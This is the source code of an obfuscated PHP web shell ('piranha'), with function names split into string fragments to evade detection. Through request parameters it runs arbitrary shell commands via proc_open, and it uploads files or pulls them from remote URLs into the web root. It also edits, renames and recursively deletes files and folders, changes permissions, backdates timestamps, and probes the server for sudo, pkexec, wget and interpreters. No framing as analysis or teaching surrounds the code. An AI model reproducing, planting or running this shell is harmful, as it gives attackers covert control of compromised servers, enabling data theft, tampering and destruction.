'; set_time_limit(0); error_reporting(0); $gcw = "ge"."tc"."wd"; $exp = "ex"."plo"."de"; $fpt = "fi"."le_p"."ut_co"."nte"."nts"; $fgt = "f"."ile_g"."et_c"."onten"."ts"; $sts = "s"."trip"."slash"."es"; $scd = "sc"."a"."nd"."ir"; $fxt = "fi"."le_"."exis"."ts"; $idi = "i"."s_d"."ir"; $ulk = "un"."li"."nk"; $ifi = "i"."s_fi"."le"; $sub = "subs"."tr"; $spr = "sp"."ri"."ntf"; $fp = "fil"."epe"."rms"; $chm = "ch"."m"."od"; $ocd = "oc"."td"."ec"; $isw = "i"."s_wr"."itab"."le"; $idr = "i"."s_d"."ir"; $ird = "is"."_rea"."da"."ble"; $isr = "is_"."re"."adab"."le"; $fsz = "fi"."lesi"."ze"; $rd = "r"."ou"."nd"; $igt = "in"."i_g"."et"; $fnct = "fu"."nc"."tion"."_exi"."sts"; $rad = "RE"."M"."OTE_AD"."DR"; $rpt = "re"."al"."pa"."th"; $bsn = "ba"."se"."na"."me"; $srl = "st"."r_r"."ep"."la"."ce"; $sps = "st"."rp"."os"; $mkd = "m"."kd"."ir"; $wb = (isset($_SERVER['H'.'T'.'TP'.'S']) && $_SERVER['H'.'T'.'TP'.'S'] === 'o'.'n' ? "ht"."tp"."s" : "ht"."tp") . "://".$_SERVER['HT'.'TP'.'_H'.'OS'.'T']; $disfunc = @$igt("dis"."abl"."e_f"."unct"."ion"."s"); if (empty($disfunc)) { $disf = "NONE"; } else { $disf = "".$disfunc.""; } function cekdir() { if (isset($_GET['piranhaloc'])) { $lokasi = $_GET['piranhaloc']; } else { $lokasi = "ge"."t"."cw"."d"; $lokasi = $lokasi(); } $b = "i"."s_w"."ri"."tab"."le"; if ($b($lokasi)) { return "Writeable"; } else { return "Writeable"; } } function crt() { $a = "is"."_w"."ri"."tab"."le"; if ($a($_SERVER['DO'.'CU'.'ME'.'NT'.'_RO'.'OT'])) { return "Writeable"; } else { return "Writeable"; } } function xrd($lokena) { $a = "s"."ca"."nd"."ir"; $items = $a($lokena); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $b = "is"."_di"."r"; $piranhaloc = $lokena.'/'.$item; if ($b($piranhaloc)) { xrd($piranhaloc); } else { $c = "u"."nl"."in"."k"; $c($piranhaloc); } } $d = "rm"."di"."r"; $d($lokena); } function cfn($fl) { $a = "ba"."sena"."me"; $b = "pat"."hinf"."o"; $c = $b($a($fl), piranhalocINFO_EXTENSION); if ($c == "zip") { return ''; } elseif (preg_match("/jpeg|jpg|png|ico/im", $c)) { return ''; } elseif ($c == "txt") { return ''; } elseif ($c == "pdf") { return ''; } elseif ($c == "html") { return ''; } else { return ''; } } function ipsrv() { $a = "g"."eth"."ost"."byna"."me"; $b = "fun"."cti"."on_"."exis"."ts"; $c = "S"."ERVE"."R_AD"."DR"; $d = "SE"."RV"."ER_N"."AM"."E"; if ($b($a)) { return $a($_SERVER[$d]); } else { return $a($_SERVER[$c]); } } function ggr($fl) { $a = "fun"."cti"."on_"."exis"."ts"; $b = "po"."si"."x_ge"."tgr"."gid"; $c = "fi"."le"."gro"."up"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d['name']; } } elseif ($a($c)) { return $c($fl); } else { return "?"; } } function gor($fl) { $a = "fun"."cti"."on_"."exis"."ts"; $b = "po"."s"."ix_"."get"."pwu"."id"; $c = "fi"."le"."o"."wn"."er"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d['name']; } } elseif ($a($c)) { return $c($fl); } else { return "?"; } } function fdt($fl) { $a = "da"."te"; $b = "fil"."emt"."ime"; return $a("F d Y H:i:s", $b($fl)); } function dunlut($fl) { $a = "fil"."e_exi"."sts"; $b = "ba"."sena"."me"; $c = "fi"."les"."ize"; $d = "read"."fi"."le"; if ($a($fl) && isset($fl)) { header('Con'.'tent-Descr'.'iption: Fi'.'le Tra'.'nsfer'); header("Conte'.'nt-Control:public"); header('Cont'.'ent-Type: a'.'pp'.'licat'.'ion/oc'.'tet-s'.'tream'); header('Cont'.'ent-Dis'.'posit'.'ion: at'.'tachm'.'ent; fi'.'lena'.'me="'.$b($fl).'"'); header('Exp'.'ires: 0'); header("Ex"."pired:0"); header('Cac'.'he-Cont'.'rol: must'.'-revali'.'date'); header("Cont"."ent-Tran"."sfer-Enc"."oding:bi"."nary"); header('Pra'.'gma: pub'.'lic'); header('Con'.'ten'.'t-Le'.'ngth: ' .$c($fl)); flush(); $d($fl); exit; } else { return "Fi"."le Not F"."ound !"; } } function komend($kom, $lk) { $x = "pr"."eg_"."mat"."ch"; $xx = "2".">"."&"."1"; if (!$x("/".$xx."/i", $kom)) { $kom = $kom." ".$xx; } $a = "fu"."ncti"."on_"."ex"."is"."ts"; $b = "p"."ro"."c_op"."en"; $c = "htm"."lspe"."cialc"."hars"; $d = "s"."trea"."m_g"."et_c"."ont"."ents"; if ($a($b)) { $ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk); return "
".$c($d($meki[1]))."
"; } else { return "pr"."oc"."_op"."en f"."unc"."tio"."n i"."s di"."sabl"."ed !"; } } function memeklim($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function oren($text) { return "
".$text."
"; } function tuls($nm, $lk) { return "[ ".$nm." ]     "; } echo "Se"."rv"."er"." I"."P : ".ipsrv()."  /  Yo"."ur I"."P : ".$_SERVER[$rad]."
"; echo "We"."b S"."erv"."er : ".$_SERVER['SE'.'RV'.'ER_'.'SOF'.'TWA'.'RE']."
"; $unm = "ph"."p_u"."na"."me"; echo "Sys"."tem : ".@$unm()."
"; $gcu = "g"."et_"."curr"."ent"."_us"."er"; $gmu = "g"."et"."my"."ui"."d"; echo "Us"."er : ".@$gcu()." ( ".@$gmu().")
"; $phv = "ph"."pve"."rsi"."on"; echo "PH"."P V"."er"."sio"."n : ".@$phv()."
"; echo "Dis"."abl"."e Fu"."nct"."ion : ".$disf."
"; echo "MySQL : "; if (@$fnct("my"."sql_co"."nne"."ct")) { echo "ON"; } else { echo "OFF"; } echo "  |  cURL : "; if (@$fnct("cu"."rl"."_in"."it")) { echo "ON"; } else { echo "OFF"; } echo "  |  WG"."ET : "; if (@$fxt("/"."us"."r/b"."in/w"."get")) { echo "ON"; } else { echo "OFF"; } echo "  |  Pe"."rl : "; if (@$fxt("/u"."sr/b"."in"."/pe"."rl")) { echo "ON"; } else { echo "OFF"; } echo "  |  Pyt"."ho"."n : "; if (@$fxt("/"."us"."r/b"."in/p"."ytho"."n2")) { echo "ON"; } else { echo "OFF"; } echo "  |  S"."u"."do : "; if (@$fxt("/"."us"."r/b"."in/s"."u"."d"."o")) { echo "ON"; } else { echo "OFF"; } echo "  |  Pk"."e"."x"."e"."c : "; if (@$fxt("/"."us"."r/b"."in/p"."k"."e"."x"."e"."c")) { echo "ON"; } else { echo "OFF"; } echo "
Di"."rect"."ory :  "; foreach($_POST as $key => $value){ $_POST[$key] = $sts($value); } if(isset($_GET['piranhaloc'])){ $lokasi = $_GET['piranhaloc']; $lokdua = $_GET['piranhaloc']; } else { $lokasi = $gcw(); $lokdua = $gcw(); } $lokasi = $srl('\\','/',$lokasi); $lokasis = $exp('/',$lokasi); $lokasinya = @$scd($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; if (isset($_POST['upwkwk'])) { if (isset($_POST['berkasnya'])) { if ($_POST['dirnya'] == "2") { $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT']; } if (empty($_FILES['berkas']['name'])) { echo "Fi"."le not Se"."lected !

"; } else { $data = @$fpt($lokasi."/".$_FILES['berkas']['name'], @$fgt($_FILES['berkas']['tm'.'p_na'.'me'])); if ($fxt($lokasi."/".$_FILES['berkas']['name'])) { $fl = $lokasi."/".$_FILES['berkas']['name']; echo "Fi"."le Upl"."oa"."ded !  ".$fl."
"; if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl); echo "Li"."nk : ".$lwb."
"; } echo "
"; } else { echo "Fa"."ile"."d to Up"."lo"."ad !

"; } } } elseif (isset($_POST['linknya'])) { if (empty($_POST['namalink'])) { echo "Fi"."lename cannot be empty !

"; } elseif (empty($_POST['darilink'])) { echo "Link cannot be empty !

"; } else { if ($_POST['dirnya'] == "2") { $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT']; } $data = @$fpt($lokasi."/".$_POST['namalink'], @$fgt($_POST['darilink'])); if ($fxt($lokasi."/".$_POST['namalink'])) { $fl = $lokasi."/".$_POST['namalink']; echo "Fi"."le Uplo"."ade"."d !  ".$fl."
"; if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl); echo "Li"."nk : ".$lwb."
"; } echo "
"; } else { echo "Fa"."iled to Up"."lo"."ad !

"; } } } } echo "Uplo"."ad Fi"."le : "; echo '
Curr3nt_D!r [ '.cekdir().' ] D0cum3nt_r0Ot [ '.crt().' ]

 
Co'.'mm'.'an'.'d :
'; echo ""; if (isset($_GET['piranhalocation'])) { echo "Current Fi"."le : ".$_GET['piranhalocation']; echo '
'; echo "
".htmlspecialchars($fgt($_GET['piranhalocation']))."
"; } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "hapus") { if ($idi($_POST['piranhaloc']) && $fxt($_POST['piranhaloc'])) { xrd($_POST['piranhaloc']); if ($fxt($_POST['piranhaloc'])) { red("Fai"."led to del"."ete Dir"."ec"."tory !"); } else { memeklim("Del"."ete Dir"."ect"."ory Suc"."cess !"); } } elseif ($ifi($_POST['piranhaloc']) && $fxt($_POST['piranhaloc'])) { @$ulk($_POST['piranhaloc']); if ($fxt($_POST['piranhaloc'])) { red("Failed to Delete Fi"."le !"); } else { memeklim("De"."le"."te Fi"."le Succ"."ess !"); } } else { red("Fi"."le / Dir"."ecto"."ry not Fo"."und !"); } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { if (!isset($_POST['cemod'])) { if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."
"; } else { echo "
D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."
"; } echo '
Pe'.'rmi'.'ss'.'ion : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } else { $cm = @$chm($_POST['piranhaloc'], $ocd($_POST['perm'])); if ($cm == true) { memeklim("Change Mod Success !"); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."
"; } else { echo "
D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."
"; } echo '
Pe'.'rmi'.'ss'.'ion : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } else { red("Change Mod Failed !"); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."
"; } else { echo "
D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."
"; } echo '
Pe'.'rmi'.'ss'.'ion : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } } } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "ubahnama") { if (isset($_POST['gantin'])) { $namabaru = $_GET['piranhaloc']."/".$_POST['newname']; $ceen = "re"."na"."me"; if (@$ceen($_POST['piranhaloc'], $namabaru) === true) { memeklim("Change Name Success"); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."
"; } else { echo "
D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."
"; } echo '
New Name : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } else { red("Change Name Failed"); } } else { if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."
"; } else { echo "
D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."
"; } echo '
New Name : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { if (isset($_POST['gasedit'])) { $edit = @$fpt($_POST['piranhaloc'], $_POST['src']); if ($fgt($_POST['piranhaloc']) == $_POST['src']) { memeklim("Ed"."it Fi"."le Suc"."ce"."ss !"); } else { red("Ed"."it Fi"."le Fai"."led !"); } } echo "
Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."

"; echo '


'; } elseif (isset($_POST['komends'])) { if (isset($_POST['komend'])) { if (isset($_GET['piranhaloc'])) { $lk = $_GET['piranhaloc']; } else { $lk = $gcw(); } $km = 'ko'.'me'.'nd'; echo $km($_POST['komend'], $lk); exit(); } } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "ubahtanggal") { if (isset($_POST['tanggale'])) { $stt = "st"."rtot"."ime"; $tch = "t"."ou"."ch"; $tanggale = $stt($_POST['tanggal']); if (@$tch($_POST['piranhaloc'], $tanggale) === true) { memeklim("Change Da"."te Succ"."ess !"); $det = "da"."te"; $ftm = "fi"."le"."mti"."me"; $b = $det("d F Y H:i:s", $ftm($_POST['piranhaloc'])); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."
"; } else { echo "
D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."
"; } echo '
New Da'.'te : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } else { red("Fai"."led to Cha"."nge Da"."te !"); } } else { $det = "da"."te"; $ftm = "fi"."le"."mti"."me"; $b = $det("d F Y H:i:s", $ftm($_POST['piranhaloc'])); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."
"; } else { echo "
D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."
"; } echo '
New Da'.'te : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "dunlut") { $dunlute = $_POST['piranhaloc']; if ($fxt($dunlute) && isset($dunlute)) { if ($ird($dunlute)) { dunlut($dunlute); } elseif ($idr($fl)) { red("That is Di"."rec"."tory, Not Fi"."le -_-"); } else { red("Fi"."le is Not Re"."adab"."le !"); } } else { red("Fi"."le Not Fo"."und !"); } } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "fo"."ld"."er") { if ($isw("./") || $ird("./")) { $loke = $_POST['piranhaloc']; if (isset($_POST['buatfolder'])) { $buatf = $mkd($loke."/".$_POST['fo'.'lde'.'rba'.'ru']); if ($buatf == true) { memeklim("Folder ".htmlspecialchars($_POST['fo'.'lde'.'rba'.'ru'])." Created !"); echo '
Folder :

'; echo '
'; } else { red("Failed to Create folder !"); echo '
Folder :

'; echo '
'; } } else { echo '
Folder :

'; echo '
'; } } } elseif (isset($_POST['lok'.'nya']) && $_POST['pilih'] == "fi"."le") { if ($isw("./") || $isr("./")) { $loke = $_POST['lok'.'nya']; if (isset($_POST['buatfi'.'le'])) { $buatf = $fpt($loke."/".$_POST['fi'.'lebaru'], ""); if ($fxt($loke."/".$_POST['fi'.'lebaru'])) { memeklim("File ".htmlspecialchars($_POST['fi'.'lebaru'])." Created !"); echo '
Filename :

'; echo '
'; } else { red("Failed to Create File !"); echo '
Filename :

'; echo '
'; } } else { echo '
Filename :

'; echo '
'; } } } echo '
'; echo ""; $euybrekw = $srl($bsn($lokasi), "", $lokasi); $euybrekw = $srl("//", "/", $euybrekw); echo ""; foreach($lokasinya as $ppkcina){ $euybre = $lokasi."/".$ppkcina; $euybre = $srl("//", "/", $euybre); if(!$idi($euybre) || $ppkcina == '.' || $ppkcina == '..') continue; echo ""; echo ""; } echo ''; $skd = "10"."24"; foreach($lokasinya as $mekicina) { $euybray = $lokasi."/".$mekicina; if(!$ifi("$lokasi/$mekicina")) continue; $size = $fsz("$lokasi/$mekicina")/$skd; $size = $rd($size,3); if($size >= $skd){ $size = $rd($size/$skd,2).' M'.'B'; } else { $size = $size.' K'.'B'; } echo ""; } echo '
N4'.'m3
5!'.'z3
L45'.'t M0'.'d!f'.'!3d
0'.'wn'.'3r / Gr'.'0u'.'p
P3'.'Rm!'.'55'.'!0n5
0p'.'t!0'.'n5
..
--
".fdt($euybrekw)."
".gor($euybrekw)." / ".ggr($euybrekw)."
"; if($isw($euybrekw)) echo ''; elseif(!$isr($euybrekw)) echo ''; echo statusnya($euybrekw); if($isw($euybrekw) || !$isr($euybrekw)) echo ''; echo "
"; echo "
".$ppkcina."
--
".fdt($euybre)."
".gor($euybre)." / ".ggr($euybre)."
"; if($isw($euybre)) echo ''; elseif(!$isr($euybre)) echo ''; echo statusnya($euybre); if($isw($euybre) || !$isr($euybre)) echo ''; echo "
".cfn($euybray)." $mekicina
".$size."
".fdt($euybray)."
".gor($euybray)." / ".ggr($euybray)."
"; if($isw("$lokasi/$mekicina")) echo ''; elseif(!$isr("$lokasi/$mekicina")) echo ''; echo statusnya("$lokasi/$mekicina"); if($isw("$lokasi/$mekicina") || !$isr("$lokasi/$mekicina")) echo ''; echo "
'; function statusnya($fl){ $a = "sub"."st"."r"; $b = "s"."pri"."ntf"; $c = "fil"."eper"."ms"; $izin = $a($b('%o', $c($fl)), -4); return $izin; } ?>